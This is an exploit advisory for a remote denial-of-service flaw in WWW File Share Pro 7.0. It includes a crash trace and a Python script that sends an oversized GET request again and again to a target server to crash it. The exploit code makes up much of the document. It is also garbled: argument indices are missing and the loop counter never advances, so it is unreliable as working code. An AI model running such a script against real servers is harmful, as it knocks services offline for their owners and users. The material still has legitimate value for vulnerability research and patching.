WWW File Share Pro version 7.0 suffers from a denial of service vulnerability.
Document Title: =============== WWW File Share Pro v7.0 - Denial of Service Vulnerability Common Vulnerability Scoring System: ==================================== 4.2 Product & Service Introduction: =============================== WWW File Share Pro can help you share files on the internet or on the local area network. You may use it to share files between your PC and other devices if they may access your PC with an internet browser, regardless of what Operating System is installed on them. - Share office documents between Windows and other operating system: Mac OS X, Linux, iOS, Android, etc. - View photos or play mp3 files stores on your PC from other portable computer or smart mobile phone: iPad, iPhone, Nexus 4, Note II, etc. - Share files between you and other persons: your friends, your colleagues, etc. What you need to do is to simply specify a download directory and a upload directory. Then run the internet browser on other devices to download files from your computer or upload files from those devices to your computer. All popular internet browsers are supported, such as Firefox, Chrome, Safari, Internet Explorer, Opera, etc. There is no need to install this software or any other software on other devices because an internet browser is enough. (Copy of the Vendor Homepage: http://www.wfshome.com/ ) Technical Details & Description: ================================ A critical stack exhaustion buffer overflow vulnerability resulting in remote denial of service has been detected in the latest WWW File Share PRO 7.0 software. The vulnerability can be triggered by sending a large malformed HTTP GET request to the vulnerable server. e.g. GET /upload2.htm/A * 100000 resulting in an immediate crash of the application. (199c.189c): Unknown exception - code c000008f (first chance) (199c.189c): Unknown exception - code c000008f (first chance) (199c.189c): Stack overflow - code c00000fd (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0009334c ebx=006b7528 ecx=00000002 edx=00000000 esi=006b7528 edi=006b7528 eip=7549c42d esp=0009334c ebp=0009339c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 KERNELBASE!RaiseException+0x58: Recommended Bug Title: Stack Exhaustion starting at KERNELBASE!RaiseException+0x0000000000000058 (Hash=0x217757a7.0x7b922161) Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploit #!/usr/bin/python # Exploit Title: WWW File Share PRO - Stack Exhaustion - Remote (DOS) Exploit [CWE-121] # Date: 30th August, 2014 # Exploit Author: Ateeq Khan ([email protected]) http://www.vulnerability-lab.com Twitter: @OhTheITGuy # Vendor Homepage: http://www.wfshome.com/ # Software Link: http://www.wfshome.com/download/wfspsetup.exe # Version: 7.0 # Tested on: Win7 SP1 (english) import socket,sys if len(sys.argv) != 3: print "\r\nUsage: ./fsp.py <target> <port>\r\n\r\n " sys.exit(0) try: port = int(sys.argv) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv,port)) except: print "\r\n\r\nCould not connect to target, already down? :/\r\n\r\n" sys.exit() count = 0 buffer = "GET /upload2.htm/" buffer+= "\x41" * 100000 buffer+= " HTTP/1.0\r\n\r\n" print "Sending garbage... \r\n" while count < 500: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv,port)) s.send(buffer) s.close() except: print "Packets succesfuly sent...\r\n" sys.exit() Security Risk: ============== The security risk of the remote stack exhaustion denial of service vulnerability is estimated as medium. # 0day.today [2018-01-05] #